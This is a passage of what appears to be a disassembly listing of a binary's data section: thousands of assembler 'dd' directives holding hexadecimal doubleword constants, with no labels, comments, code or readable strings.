		dd 0E5949449h, 41789B90h, 0B91B6382h, 0D8132FC0h, 0E7785CF2h
		dd 0CE14B905h, 41FA9899h, 4BEEC702h, 6DEA411Fh,	0CF5B8051h
		dd 1BD50D9Dh, 4EDF64F7h, 7025003Eh, 209844Ah, 80483C2Dh
		dd 0E6572901h, 0FD12951Eh, 4D3718C0h, 556BBD96h, 0E92C4A81h
		dd 5E883CA3h, 8B0C32BEh, 7F27C5F4h, 74309D17h, 646850h
		dd 584F8256h, 386D1335h, 0C512267Fh, 0ABE118E9h, 58BE366Ah
		dd 0BB0ED10Eh, 87EB8B10h, 0BB8E4A4h, 9791C229h,	57B33B80h
		dd 9C70113h, 0FD608E60h, 0EDB8EDD1h, 5BB5C29Dh,	1EDD698Ch
		dd 0F3E91A95h, 0C38F7735h, 8C839205h, 0CE64090Bh, 0AC17C914h
		dd 4C711038h, 0FBDA4B77h, 0EA816721h, 4A9F6BF8h, 410FB92Dh
		dd 33676A08h, 0EA525CC3h, 5057C33h, 0BFF45A50h,	4D70C202h
		dd 76A85D63h, 16882108h, 6613A0E5h, 9B2760A1h, 90FED1B1h
		dd 7D6D0D59h, 0D7372617h, 7D5AAFF3h, 0BA1C9309h, 8B0A8670h
		dd 4ED177C5h, 27BAFD4Dh, 0BDA776EEh, 92904CACh,	0FE04EF5Ah
		dd 96F2D830h, 3EA4BF02h, 0C9851803h, 9813AAF4h,	94C4AAA2h
		dd 0E301D02Bh, 68175702h, 418D1E0Eh, 1DDBD8CFh,	0E98B975Bh
		dd 0BA21F60Fh, 715629B5h, 0CD8141EAh, 0CBDE0780h, 0B7B5782Ah
		dd 0AC0CE073h, 5A9C7567h, 0A0324482h, 0D78AB4h,	884ABE05h
		dd 6033E966h, 6CF12118h, 2558514Eh, 16243455h, 448D83FBh
		dd 2151A81h, 71C7D55Eh,	451B6300h, 0EDAAACB9h, 9CB7E9F0h
		dd 6077259Fh, 9157E60Eh, 45492C6h, 0AEB26638h, 0EBE7F8BCh
		dd 455B59F0h, 7391FBD0h, 0E0564D93h, 1616FA10h,	0E00FE801h
		dd 13B6E4E4h, 302EBCECh, 0FD101716h, 0B0581027h, 3504AA4Bh
		dd 37F90E6Bh, 1E062A32h, 0B958A5D6h, 0B83CE46Dh, 0EECE80C0h
		dd 96D70294h, 82568CBh,	0E95269A0h, 0C8959795h,	0B71AF008h
		dd 75426F12h, 6861B351h, 0CC6A7108h, 0E4A21A92h, 693A71D7h
		dd 0A5DC65DFh, 753D162h, 29C33FAEh, 0D52F2844h,	7DD320C7h
		dd 3F05E5Bh, 0AC145A8Bh, 9BEBA434h, 0F2A02FFBh,	268C9CD9h
		dd 2D631C45h, 0D5CB6A7Eh, 512CFA16h, 52128654h,	580828FFh
		dd 5DED4E97h, 0E8D0CF5Fh, 0E1A8445Eh, 0D1B3EE92h, 45884898h
		dd 6E135032h, 0ED800198h, 0C10D6B07h, 0C7440E55h, 5FC0C7BFh
		dd 2C160592h, 0D2B5E96h, 0EE3CC889h, 1740C5DFh,	53304B45h
		dd 0ED35A001h, 90DBEC06h, 3E8CC5B5h, 40B92D13h,	7B6FCD36h
		dd 0CD4560Ch, 4CBB2425h, 1CB203Ah, 0F9204EB9h, 6CCF313Dh
		dd 77F7B1B2h, 3CA2FF03h
		dd 4873B7BAh, 6670ABE9h, 639890h, 30DD78C0h, 38A00558h
		dd 2D718D01h, 0A26AB15Ch, 0FC1C123Fh, 16761401h, 530D80B2h
		dd 9BB244Eh, 60FFB13Dh,	0F325407Dh, 5A5E7A34h, 1711B93Ch
		dd 53C095E8h, 2DFCF26Eh, 0B810319Fh, 4882A09Eh,	9D92BE34h
		dd 292DD9D8h, 27B8E5D6h, 3C98BA58h, 0ED49C00Ch,	12D80C51h
		dd 0E542E22Dh, 0C0806F5h, 62E91480h, 67FB974Fh,	9146B571h
		dd 34F8B6D6h, 5126685Bh, 0B761D741h, 56FE0867h,	0B2525006h
		dd 0CAFEED03h, 706E2C0h, 0C2800806h, 0E9D04126h, 4F182CBCh
		dd 71712EB8h, 31E8020Dh, 5E5158C1h, 0AAF20057h,	83173D25h
		dd 0C8F2EEC2h, 0FBFAB580h, 0E9E8CB09h, 3048600Ch, 4E5C9FC3h
		dd 0FE07E9E2h, 87BD034Fh, 34128FAAh, 5540F9C1h,	2D4B82BBh
		dd 0E9435A17h, 4DA912CBh, 2D5DC72Ch, 46F32368h,	6B137700h
		dd 9F2D49h, 0D4B9D03h, 6EA40BD2h, 24C4050Bh, 6F00DF7Eh
		dd 40671C35h, 0F98AC8C0h, 26E9EBB9h, 0A53DA536h, 0C197327Dh
		dd 9024C748h, 6A3203EAh, 0FA010D3Eh, 4935FE0Bh,	2AEE027Eh
		dd 19A2F79Ah, 9D585444h, 1268D627h, 0BAFF400Ch,	1ADD2D12h
		dd 811CA356h, 84DA8C2h,	0A024027h, 0E68AB4EFh, 37003856h
		dd 0BE74DB59h, 606CC939h, 15DEC2EDh, 0E9103A01h, 9E41453Fh
		dd 3F24B36Fh, 70BD1281h, 0AAB1C17h, 1708C115h, 6504FE87h
		dd 4CF80B72h, 245AD7E1h, 0B0BF57D3h, 60F5E99Dh,	0DEF3ADE8h
		dd 4C2DB606h, 54620953h, 191602A7h, 0C3FD45D3h,	1F30CFFBh
		dd 0BE4E6F40h, 91B62011h, 58646A23h, 689D0A68h,	807737C7h
		dd 0FB09B850h, 7D3F9486h, 81298704h, 80074829h,	28B0C7F9h
		dd 3CF73D9Ah, 0CF8347D7h, 5CD82793h, 1441E02h, 8CE9B98Fh
		dd 0FEFCBEDh, 35ABC2BEh, 0F842C2D3h, 0F89FFE70h, 9B1E254Ch
		dd 833F18DDh, 870225E8h, 680B0D7Bh, 0E830DFE9h,	0C3C537CAh
		dd 0A4AB8820h, 5AB7CF0Dh, 9CC63F76h, 12D5C7AFh,	275456F3h
		dd 0A01D9EDDh, 2D06920Dh, 0CA5E23B8h, 6197592Fh, 2FAFDEE9h
		dd 0A40E6559h, 5207492Bh, 32C8BE00h, 0BA4846A1h, 0B8FC1707h
		dd 44AC8E09h, 278F982Fh, 79A0C610h, 13053D57h, 0BE01C7B0h
		dd 0E93B4533h, 496FA5C3h, 56072547h, 0F33D8568h, 710177BDh
		dd 0C15F1CC8h, 0C64002EFh, 5C6611F5h, 4E70580Bh, 570B546Fh
		dd 9C0ECC06h, 0E919DB69h, 0F3516827h, 0B42BB9DCh, 90A297FDh
		dd 2948EA4Eh, 7078822Dh, 59D697C3h, 0E1040CC4h,	7C398D9Ch
		dd 6CAFD7C9h, 4B35E9ADh, 98AF7532h, 0B05A6482h,	30662DEAh
		dd 909AECB4h, 0F501661Ch, 9FA075FFh, 0D1F44108h, 6610E56Eh
		dd 1F0A6F5Ch, 46D297EDh, 125DEE21h, 6199CE18h, 4AC9F60Ah
		dd 3589E855h, 574B06F7h, 531606Dh, 0D360F0Eh, 9C654858h
		dd 0F0A94E87h, 0A328EDE5h, 0E8B017EFh, 1DF0FA90h, 0C05C5A7Dh
		dd 4CD36F29h, 821C7297h, 5EC7DD08h, 4A54D869h, 2691FC06h
		dd 0BD8F52D1h, 2B4C060Bh, 474109E6h, 0A140293Dh, 8EC1FA4Fh
		dd 860557B8h, 82E1C06Bh, 555B651Ah, 4FF09FE0h, 2F80F740h
		dd 67A822D2h, 0BB89047Ch, 35B89801h, 0D1D8EF6Fh, 0F92D0FE8h
		dd 0E90404A2h, 3017A190h, 0B2941C29h, 607C5C1h,	88F67E81h
		dd 6C0CDB02h, 7FE5A7Bh,	0F776353Bh, 305903F1h, 0B8C960CFh
		dd 80C4B01h, 1EFFE983h,	0B04A1645h, 0BF6EF05Dh,	48CE7A3Fh
		dd 17A659Ah, 0FA84C905h, 7A0929EBh, 2CA3CAF2h, 0E4B5EAA5h
		dd 2635AFF9h, 19C090E9h, 0B0E0B02Fh, 26E1262h, 78E4F857h
		dd 5654832Ch, 44685580h, 0B07AD667h, 2E8943Fh, 7D2781BBh
		dd 53E398E0h, 121E423Fh, 0EF4026E9h, 0E588CCFEh, 1807358h
		dd 2EDC0E8h, 36AA14E9h,	4CAD047Ah, 56AD72F1h, 282BBE4Bh
		dd 875F312Dh, 57E9B4ACh, 0CA4EFB94h, 640E3516h,	0C3F26434h
		dd 8473E9AFh, 5D09E39Eh, 395C0000h, 924F4B15h, 40E01DBEh
		dd 4F1C7A25h, 3E003527h, 2D2FFE45h, 59821F13h, 0F14C29E7h
		dd 162E9A1Dh, 0F1E7046Ch, 0B861577Eh, 188753FBh, 1068515Ah
		dd 5923B449h, 0E993829Fh, 0BE1BC838h, 952F1E97h, 70138D7Ch
		dd 1BB96B4Dh, 0AF222B2Eh, 3A1CC210h, 0C35EF1B5h, 0B168A4Dh
		dd 28537AEFh, 0B55D29E4h, 26BC9C6Eh, 0A8FCE985h, 6AC2BD5Dh
		dd 0E17D2025h, 0DD7AC35Fh, 0DBBAEF0Ah, 841D597Dh, 81C32CF6h
		dd 7344CE6h, 7FD0B562h,	0F4805600h, 0DC48F698h,	15E47711h
		dd 201AF5F5h, 0BB80AECBh, 0D765172Eh, 601C0052h, 0E925D51Eh
		dd 0F15B0525h, 68B5B0B2h, 8FC46592h, 0AC12DC81h, 0E33D898Dh
		dd 0C57A1C88h, 0E7EDCC49h, 6C2790Ch, 0D835E9C1h, 5B5C300Dh
		dd 6D57F672h, 0DA89131Eh, 9F50E94Ah, 94685682h,	184EC73h
		dd 4CE36745h, 2A5A5E52h, 0EA822085h, 1EB800B9h,	3C4EF46Ch
		dd 3540BEF1h, 2850C7Dh,	10910D23h, 0CA616066h, 9D6DA4h
		dd 21962DC8h, 0C67D6568h, 0A911FD9h, 6B2CAC1Ch,	2DFFD816h
		dd 0E6B4D72Dh, 9CA54B43h, 5472222Eh, 74B715D8h,	3275630h
		dd 5A835C1Fh, 765DA84Ah, 3B69EDCAh, 994CBFCBh, 0F33BC2E4h
		dd 108BD5D4h, 821B641Ch, 74D9F7B5h, 9BDE8C8Bh, 17284550h
		dd 0B2647C40h, 0A3CF4B23h, 0EBD897F9h, 5C02401Ch, 0C5C37CB7h
		dd 1889A950h, 0EF3B299Eh, 5EBE7841h, 0B05BEB7h,	0D8ED4544h
		dd 26A13C10h, 520F14BAh, 2BAB4B78h, 0CE665D98h,	0EFB6812h
		dd 0DF921F34h, 0B3DA8153h, 0E6DA3D0Ch, 0BCD80B78h, 42FFEB30h
		dd 8385992h, 68049574h,	2CAE3686h, 0E91455A0h, 0A67D25BAh
		dd 0DE012583h, 0C66D19FFh, 406BD030h, 6748686Dh, 0A296853Fh
		dd 86C4E6BEh, 76B800Eh,	82515EEEh, 0CD59B261h, 0DFD760C9h
		dd 71DDB5AAh, 1D398EB2h, 0EB8BFE16h, 0F258317Fh, 7332E2E5h
		dd 54501446h, 4B7020C0h, 0CA261057h, 29B01A19h,	0AED83AE2h
		dd 0B77EF507h, 0FED85E1Fh, 7639A38h, 88BAC180h,	8A70A3C8h
		dd 67CB151Fh, 0C204F352h, 22C35BDDh, 0F7C583CAh, 0EE10B92Eh
		dd 4E37A66Bh, 12190BF6h, 705F8C6Bh, 5B2A5EC6h, 3190EB01h
		dd 1ED12126h, 3F68AA31h, 0E8FBCD2Bh, 49B58DC4h,	0C6381592h
		dd 2BF2A15Eh, 0ED9030ECh, 68175220h, 0B8B35B22h, 25B76D1Ch
		dd 0E1BFB357h, 0E3968120h, 0A1EE04F2h, 40EE1607h, 94ECAF9h
		dd 66FC1F1Ah, 329F1959h, 4094EBh, 0FF29D425h, 0F6E04A5Fh
		dd 8BBE0056h, 217B0608h, 93045EF0h, 0DA7AE953h,	0F13140BAh
		dd 69AD7FD5h, 65419498h, 2316C06Fh, 1A145974h, 15060558h
		dd 25EC6AE9h, 0C0600431h, 84AE7F95h, 5B30348h, 9BD0C4Ah
		dd 0F254F291h, 8A3C5727h, 34F06817h, 0CB02B2CCh, 87D22D23h
		dd 0C1886FEBh, 0E9523DC8h, 0A2F9CC2Dh, 95BAC796h, 0EE0075B7h
		dd 0C0A85209h, 13D9B91Bh, 0BE0E8640h, 0B6620E89h, 0E89B3613h
		dd 0AAB6A0h, 0DE6497BBh, 309A2D5Eh, 5E17522Fh, 0B072089h
		dd 547F685Bh, 4B1DABB0h, 5CFD1995h, 0E95AEC68h,	1F270417h
		dd 0D5C5136Bh, 15D5CBFFh, 1ED9B602h, 0C20DCD01h, 0CE3B107Eh
		dd 95142023h, 64951CF7h, 0EACC4051h, 0E982EBF7h, 0EEA9B77Dh
		dd 84E3AF8h, 0AEA44AF2h, 0EB14761h, 0EE138104h,	308B4D01h
		dd 0AB5BE832h, 0B60D62E7h, 302C80E5h, 5281A248h, 34C0F02Fh
		dd 82A6554Bh, 0F95CBD00h, 0D531799Eh, 88A76597h, 6C24D4A0h
		dd 0C852035Ah, 0CC224AF4h, 0CF272928h, 0C09B5559h, 48552A25h
		dd 0D7EA5E3h, 0D3012F18h, 0A18960C1h, 0CA89B1DDh, 4BF89663h
		dd 8B028571h, 306C580Fh, 9C5ABD9h, 39F83D15h, 798087A5h
		dd 0EFC0DFF6h, 37370450h
		dd 84D7D058h, 0F9145EDDh, 2B2A4F07h, 0F173BE72h, 29B02F69h
		dd 0ABCC8398h, 78BF0B13h, 0D355E9A7h, 6E42FFEh,	7D131819h
		dd 64760C04h, 0E9D37305h, 0F2AAF975h, 26DD07D8h, 13DE65D7h
		dd 13ADD7F0h, 0CC3A9D68h, 4100D828h, 55F0C1Ah, 0E5181962h
		dd 0FA11C16Bh, 74603B1h, 5A787468h, 0ABB5C267h,	0A904BD08h
		dd 83C1104Ah, 7A7C0D49h, 0F31908C7h, 0E6B15836h, 4C2261Fh
		dd 234F55F2h, 4FDBE6BAh, 0E98181E5h, 0A40423C6h, 27EB2BB8h
		dd 2DF8303Dh, 98263ED2h, 0E0197B4Fh, 0F76E5EF9h, 0E62D0290h
		dd 0D77DFC13h, 407B208h, 903F6CE9h, 2173E309h, 0C6D7C30h
		dd 0D176344h, 78BEE90Bh, 9FD80156h, 0FBDE5405h,	9D516F44h
		dd 131BFDAAh, 0CEEEE89Bh, 0F42C5B6Dh, 307460B5h, 5C6839BFh
		dd 0ECB4255Eh, 0E911C23Eh, 0D2D936F3h, 84435282h, 5C82F734h
		dd 5D09CFB9h, 1EFC804Eh, 5EFAEA95h, 63EC5282h, 44265C97h
		dd 0C1FFA878h, 61392E36h, 0CE41F43Bh, 9EC6D112h, 8BE99C90h
		dd 91F4B7D8h, 87AD7D2h,	582E5769h, 4A457C4Bh, 0BACFC484h
		dd 0F8F5D1ACh, 9840A400h, 0EC67F168h, 315A164Ch, 0B1BEACDAh
		dd 0B83FC18Ch, 92E5B72Eh, 0A59B3FFh, 7C121468h,	353DE98Ch
		dd 302700BEh, 0BD5554C8h, 0EA070CDAh, 0E9EE3171h, 2D32609Bh
		dd 565802F9h, 2984684Eh, 4A2D4DECh, 0F4374C75h,	8CF64ADCh
		dd 0AFF4556Dh, 16F8F85Fh, 0FEBFA3E6h, 7CD0B0C9h, 8590E309h
		dd 5759CE18h, 2E25449Ch, 97969A1h, 678060A8h, 9AD4E94Dh
		dd 5DF139C0h, 0BF194664h, 65903A80h, 47D326F7h,	163A410Ah
		dd 2C12E202h, 0F2C7C01Dh, 456E02CCh, 0B88DE921h, 0F08BC477h
		dd 9571703Bh, 40726154h, 246F63A6h, 4B1940A4h, 0B421147Fh
		dd 18812CCFh, 0E7CA7FA2h, 72A87410h, 0AE77FD01h, 6E8951FAh
		dd 0B9085E05h, 2CE2E071h, 6E7E014h, 0AAE3295Ah,	45D55812h
		dd 0CB119A1Dh, 10B342F5h, 4B7331CAh, 2B4FFAFEh,	85FB69DFh
		dd 3AF8A7E9h, 25C2ADD2h, 0F53A42E4h, 0DF904FECh, 3747EE05h
		dd 0B303296Fh, 0E065B850h, 2482623h, 69580540h,	7777A6Eh
		dd 5C599594h, 8CD76287h, 573EBA00h, 4D357A96h, 0E44B730Eh
		dd 121D24C1h, 0E6876494h, 572B77F8h, 19D57B01h,	80723063h
		dd 0BD190E95h, 0EE0A72DAh, 13A22D73h, 4B7F53C8h, 0C131220Ah
		dd 203CF1EDh, 5B72B59Eh, 792DBC7Fh, 0CBDD7374h,	68588AD4h
		dd 0AD7A4B6Ah, 88D3C654h, 0E9B85A14h, 0C2291FFAh, 4B97CB0Ch
		dd 1C3507E1h, 0C4501AB2h, 75AE86Eh, 0E62C4604h,	18B2D807h
		dd 0B3D656Bh, 0EC7FEA83h, 40E44D51h, 0F21EB5Ah,	4F2871F2h
		dd 60B4B1D3h, 1C2C053Dh, 3A08F9A9h, 27626D3h, 33523855h
		dd 0E0C3B487h, 15F134Bh, 81ECB68h, 17150C30h, 0E87951E4h
		dd 578FE2Bh, 18F725E9h,	7D15BD68h, 8170F300h, 5E4690EFh
		dd 48E92F77h, 0BF9C50D9h, 6B436A81h, 7C70E781h,	68440907h
		dd 0C0E676DAh, 33196A00h, 5AD7094Dh, 3083E347h,	4A100D1Ah
		dd 7607623Fh, 4E2E484Ch, 29054FADh, 0E0A4E9F9h,	0D075BC6h
		dd 18B56EDEh, 697376B3h, 3F00BA89h, 679075DCh, 0BFF58103h
		dd 0B0094C7Ah, 245FC6E5h, 27D7BADh, 0FD30B0Ch, 0B032C45Fh
		dd 2C5E798Dh, 0F41279h,	68971607h, 179EE83h, 0CC04B8E6h
		dd 0F0895096h, 4294682h, 29B4BE5Bh, 0F5EB554h, 0B000DB48h
		dd 41369C3Dh, 2E93AC1h,	13B4A950h, 832B172h, 0EA817189h
		dd 0B037160Bh, 0D203F0ECh, 45C8045Dh, 950C1984h, 53891F6Ch
		dd 0B982B07Fh, 179F271Bh, 7E249E55h, 6A56821Fh,	8652510Ah
		dd 3E32AC00h, 1264350Fh, 0E1726C66h, 0E97120C2h, 0A3578630h
		dd 62198FEDh, 6D6E88F2h, 0B5C24E5Fh, 699FA816h,	0FA2E533Ah
		dd 0D8F79344h, 220532C0h, 0C7ED2739h, 4D1BCCDCh, 4152D0AEh
		dd 3CE9124Eh, 0E14F9210h, 0EA019568h, 54BF6818h, 0B521DFD3h
		dd 98276A44h, 2D84730Ch, 569F174h, 0F38DBD2Eh, 0B974CEE1h
		dd 0F3C23980h, 28E0EC87h, 56C487D4h, 8A80085Ah,	0C912B753h
		dd 0DDF0FC08h, 380F6978h, 16CD687Dh, 8E2D8070h,	2B6F2500h
		dd 46A36A05h, 0FADFD631h, 0BDEB7673h, 0A3408B05h, 279A86E8h
		dd 9644B102h, 0ECD6D6A5h, 12B591D6h, 0F7049D61h, 73AD6FDBh
		dd 0B8140A03h, 0C4B52969h, 0A20812DBh, 0B3EFD21Fh, 0A450842Ch
		dd 833827AAh, 8548B70Fh, 0DC8F128Fh, 123A2BA4h,	0A186C39h
		dd 52B0167h, 0B01AE9FAh, 32A529B9h, 13B19688h, 288805ACh
		dd 68ACA0D8h, 2541AF32h, 275E50A9h, 4965C701h, 650BBB26h
		dd 14A220C8h, 1353B67Fh, 0E2D3F75Bh, 0A8D2096Eh, 0DD74870Ah
		dd 0E52E00E9h, 96907E1h, 60C1E912h, 3665557Ch, 0F59CA55Dh
		dd 0EB09F024h, 4A6FF2C6h, 7A13E12Ah, 9214CB71h,	0E4198105h
		dd 7D276A61h, 17B6F9E3h, 614BC0A3h, 892D8EE8h, 0FA6EFB41h
		dd 0FDF8090Ah, 0E6DD6FF5h, 26839015h, 3E092884h, 2096D9AEh
		dd 1C8B2F08h, 0EDD73ADFh, 0E1EA127Eh, 2CEE2B53h, 9B49E969h
		dd 75EA4BA6h, 0F1BC1Ch,	7E222D58h, 0B4503D51h, 344F0702h
		dd 0F788961h, 68580780h, 6D9E320Bh, 0C4885E98h,	0C527E2DDh
		dd 1425E821h, 0BA93D4EBh, 531C9DCAh, 3409E8BBh,	0C2A95BD8h
		dd 1B5C5275h, 0FFA90189h, 0D660861Ah, 0CCB43D5Eh, 90B1C396h
		dd 0CBD48233h, 80381C26h, 0E7C085B7h, 0B4E68006h, 198EFE6h
		dd 0E8C20B25h, 1224EC95h, 145E7420h, 7D2FCB36h,	0BC0E59D3h
		dd 0F3AF1265h, 3FBD9275h, 0A24AAF81h, 0C8E13A6Fh, 0EEDAAF64h
		dd 0EA76030h, 0B559CF88h, 26E6E8FBh, 82A04CB7h,	203CDAB1h
		dd 0BA01701Fh, 67EF36D9h, 896AD089h, 4076BBBh, 9DA24D45h
		dd 699B5532h, 8399065Bh, 5BB9BC2Bh, 0A65EABDAh,	0B493DD47h
		dd 0ACAE6034h, 40802534h, 2D6851FCh, 0A41844F9h, 20F31DC6h
		dd 80EB42A5h, 2D5FF91Bh, 5B4D0DEAh, 54CE13Fh, 0CA8BFA07h
		dd 24F48925h, 250DF4C9h, 0D20EAC5Eh, 7042092Ah,	0BA1902Ah
		dd 3C7172F1h, 40430580h, 4E731D46h, 7053E93Ch, 73875EB5h
		dd 68560800h, 1BA15FD9h, 9E8905Eh, 4AEC27B9h, 1230AF56h
		dd 51190F63h, 133BB77Ch, 491EEFE7h, 4B846613h, 90AAE7AAh
		dd 8350E1ADh, 0BA8E942Ah, 3AE84C98h, 6809310Bh,	41B05103h
		dd 9BBF2BC9h, 0A3A4FF72h, 0FDD112FEh, 0F102D291h, 0E0E54891h
		dd 978AF6B7h, 34379C7Dh, 14C79DF3h, 417AA389h, 3568D8AFh
		dd 0F230634Fh, 2F330C0Fh, 0B925F75h, 13EB5C60h,	136FC658h
		dd 7AE47E01h, 0E2800EF7h, 26FC020h, 6E2BD1C9h, 0FC2F61B4h
		dd 0AC6BE78Ch, 10023ACDh, 0D1F70D62h, 0E7CF25Dh, 0FCA0E7F1h
		dd 64C2B3ABh, 973565D7h, 0ECD8AE54h, 500DC372h,	0FE94F888h
		dd 3C121D81h, 15C5EC6Ch, 0A2BBE853h, 2F8CDC5Eh,	0D3FF781Ah
		dd 0B294474h, 0EB78E80Eh, 62959996h, 16DF4DB0h,	3B7E20BAh
		dd 2E59C0C1h, 0A53F121Ah, 0B299ADECh, 710D856Ch, 63C09698h
		dd 6B9B1B0Ah, 46EE851Bh, 0C0AFBC06h, 8809C641h,	285AF30Ah
		dd 516278EBh, 1CF056B5h, 6EE5CE43h, 0CD46EDCDh,	4E057F89h
		dd 0EC1F22Ch, 0C7E5E9h,	111DBF64h, 0E7C1505Ah, 84C7D7A0h
		dd 0D2F77105h, 57C2FD89h, 0C2FE00B3h, 0B273EA80h, 0BFF8F23Eh
		dd 501AE0B5h, 3D1F40B8h, 0D597766Bh, 0D6774EACh, 0B208F24Dh
		dd 5A42304Eh, 82A10B7Fh, 52D4A75Dh, 0E904AF2Ch,	0CEAF071Dh
		dd 0DAE84BF6h, 29B16860h, 0F72508ECh, 67DD04D8h, 1C68302h
		dd 98A349C0h, 3EC2B880h, 9ADC9CEBh, 0FC18350h, 612B1D9Bh
		dd 410CFC32h, 2A983A08h
		dd 9FD3FA57h, 0DC2F4451h, 0B192BD13h, 9BCFCCAAh, 6651E1FBh
		dd 58680236h, 685CB756h, 240A8A59h, 0F8F3E31h, 57AF4EA9h
		dd 3F9BC980h, 42904211h, 0AC497339h, 0B4020558h, 0DDA855F5h
		dd 0E4F761AFh, 0CEB2F355h, 0DA01F79Eh, 31481B0Ah, 0A2E5BC2Bh
		dd 4345F401h, 424EF590h, 409800B8h, 0D700070Ch,	68555775h
		dd 5B567278h, 1983CB62h, 0D8557CA6h, 56A0802Ch,	0C04CAEE9h
		dd 2933810Bh, 0BA2A119Dh, 0B0BB9552h, 46481C72h, 8957CA79h
		dd 0AA4EC607h, 1CE18150h, 5E260633h, 605E9C1h, 0CF180263h
		dd 28B0D55Bh, 0EB119136h, 0CA1CA37Fh, 5BF92659h, 634F08C0h
		dd 2598F72Dh, 0B6176850h, 0AB0A4927h, 0AF038840h, 2DAE64h
		dd 9E355BE6h, 0D6ACE23h, 0A4B7A0Ch, 38632629h, 920225Ah
		dd 79DE524Ch, 0C55C2095h, 7CDA8001h, 0BAA45A7Fh, 0DE24070Bh
		dd 0FC915A86h, 0F7811021h, 72A4174Ch, 7157EA0Ch, 0AA4292E1h
		dd 0A60FE567h, 8C84F08h, 2DFB80Bh, 412D232Dh, 0ED43B951h
		dd 1D8AD90h, 0FC1F0251h, 52BDE97Bh, 4F6B1CD5h, 8362B25Ch
		dd 314181E9h, 5F2E4487h, 0CB276126h, 0D1571124h, 0E92E0B20h
		dd 76AFE7C2h, 0BF5A561h, 61C0512Fh, 296E4DE9h, 9846B2Fh
		dd 1793D0D5h, 0F6DC180h, 86CC0B2h, 0F1F60406h, 0F9A23070h
		dd 0C10E4C41h, 0BA3C3ED3h, 0A18020E9h, 2CB2B00Eh, 58C5041Fh
		dd 8F3D19C1h, 0C61ABA04h, 7CA8DDC4h, 19290BBEh,	6EEF55F4h
		dd 400AF809h, 4F7B0435h, 0BE211419h, 0B15FEDCBh, 5846F3Eh
		dd 0BE0BC4ABh, 0EAB05CBCh, 0F1075B98h, 756EE942h, 8838F70Bh
		dd 4EB67A1Bh, 0DA8C3BA6h, 0BFC13F1Fh, 682D4DF2h, 69787626h
		dd 56B32940h, 3D010629h, 0F09C245h, 1621F359h, 0DA12B5B9h
		dd 41356ADFh, 0E6049549h, 0A55B3E4Ah, 0C3FB4979h, 41CFA82Eh
		dd 3DEF2E89h, 0DA2C7EFBh, 0D2739721h, 20B27A2Fh, 5D970320h
		dd 4772FC82h, 232DC7A2h, 8DE7409h, 54158240h, 7FED677h
		dd 4450EB22h, 874AC25Dh, 584E9455h, 692001E8h, 2041F09Fh
		dd 0EF2C3B20h, 2112A0A8h, 0C80FAB47h, 0A98DFE72h, 61CABA82h
		dd 916B677Ah, 5882156h,	0DA85FDE9h, 2FA5AF6Dh, 0F208987Fh
		dd 0C3F72AF3h, 5869BB01h, 38437170h, 58281CCh, 96E0717h
		dd 527D5618h, 208F860h,	536195E6h, 0E876C389h, 49EF5817h
		dd 8D800685h, 620B0EACh, 0EF1E1EB6h, 5929D745h,	647B88FFh
		dd 7C4A6F1Ch, 694F0FB0h, 0BE56973Bh, 0A0C30158h, 5C740EA9h
		dd 0EB0099BBh, 3794929h, 876C98E9h, 4FE6A69Ah, 0B4F0E87Ch
		dd 58762CAFh, 8494205Bh, 0E76ED3F5h, 1E7D4A0h, 102341F8h
		dd 0B86FC35h, 219D8EE9h, 0BBE08928h, 7F2415FAh,	0C300881Ch
		dd 0E9E380EAh, 3789448h, 0CFB47EB1h, 0A586DFC9h, 42D97C3Ah
		dd 0DE2766C3h, 0F7D5A73h, 353DBEDFh, 4863BABh, 74B40D39h
		dd 0BB5BAE11h, 0DA821F31h, 5B129208h, 9A420709h, 7D0AE65Dh
		dd 344A4070h, 4FC98EB8h, 692DB3E0h, 4058017Fh, 13AF5BFFh
		dd 0C909AF38h, 0BD686071h, 0DE450C7Ah, 85A2515Ch, 2E0160E8h
		dd 1DF5F681h, 0AE821E04h, 0F47020A3h, 5FE6425Dh, 0D42FF659h
		dd 23E00161h, 60562C35h, 3D0084E3h, 0CE893603h,	9D9519E9h
		dd 0F1EF1019h, 0F77520F8h, 25685D80h, 9E984DF4h, 289DF2CDh
		dd 0E1A4A7E1h, 28622959h, 7065875Fh, 72201CD7h,	0E9D33109h
		dd 25A37EF1h, 0E970615Eh, 758568ACh, 0BAA508EDh, 3EDC105h
		dd 0C1653FDh, 59EF14A4h, 181FE204h, 2250FE38h, 8BC06308h
		dd 557135Fh, 5B3FE32Eh,	2F7D06FDh, 0CB443BC9h, 0C64BDB09h
		dd 0C5A85456h, 5A0C03E9h, 7CC1F901h, 20EF4D8Ch,	6B5A901Ch
		dd 4CEA9440h, 90794057h, 4D4502C3h, 0D73121E0h,	6DD2F941h
		dd 0A401245Ch, 0D62CC362h, 0FABE173Ch, 55E70F82h, 2054A75Eh
		dd 5F95DDD1h, 0CF385120h, 0C4FCD94Bh, 6A54AC55h, 3D2705B2h
		dd 617246F9h, 853B4CFAh, 9F78AA65h, 80504EE9h, 0F6B151DDh
		dd 4F4E44F0h, 0C9A2E8ADh, 0F99F8078h, 988EAABh,	9A20A8ABh
		dd 3E320F4Dh, 0CE685017h, 0BF4A97B6h, 71179916h, 0E90BCEE7h
		dd 0CADA7A51h, 0D54CA997h, 81EB8FA4h, 3B604913h, 740BAF37h
		dd 0BF46658Bh, 6CFD3917h, 72EC0B9Fh, 6852F420h,	4AA86583h
		dd 0FE1B07B4h, 0A8FAC0C4h, 26B652CCh, 383EF668h, 294FD4A0h
		dd 129C56B8h, 0D393E931h, 6C81024Ch, 9B34502Ch,	0C1CE4088h
		dd 0D098E151h, 782631C4h, 8502E51Eh, 77527E62h,	0E0C43064h
		dd 12B40ECEh, 0D9808201h, 788E7FABh, 2698DEF2h,	0EA6C0882h
		dd 0CF335648h, 1B27B7C7h, 7B3415E3h, 6B70090Ch,	28FF4D2Fh
		dd 0E9040832h, 9EE32CEBh, 0B35F253Fh, 2DFA9345h, 7BF26FA0h
		dd 2340255h, 40319857h,	560268EFh, 5E022E7Bh, 6113FC53h
		dd 81269CE9h, 1B96C9EBh, 97403A09h, 9054E5Fh, 762FE960h
		dd 63B666A2h, 1959BF00h, 550C7F7Dh, 0AB00B40Fh,	586D7E39h
		dd 0AA203467h, 0EAFB5A76h, 68C0F751h, 5BDF53BAh, 0BEEC3522h
		dd 2F4C924Eh, 0FCE85706h, 0AECF6473h, 2268057Ch, 0BC3FEFF5h
		dd 24F75E1Bh, 14665986h, 0E84F4A76h, 99BA1713h,	1003D255h
		dd 985B1C55h, 0B2DD2F69h, 2D50FD97h, 29252031h,	9F2ED07Ah
		dd 51D2406Dh, 221AB52Fh, 0F1999646h, 0BF0F0BA5h, 201FBE82h
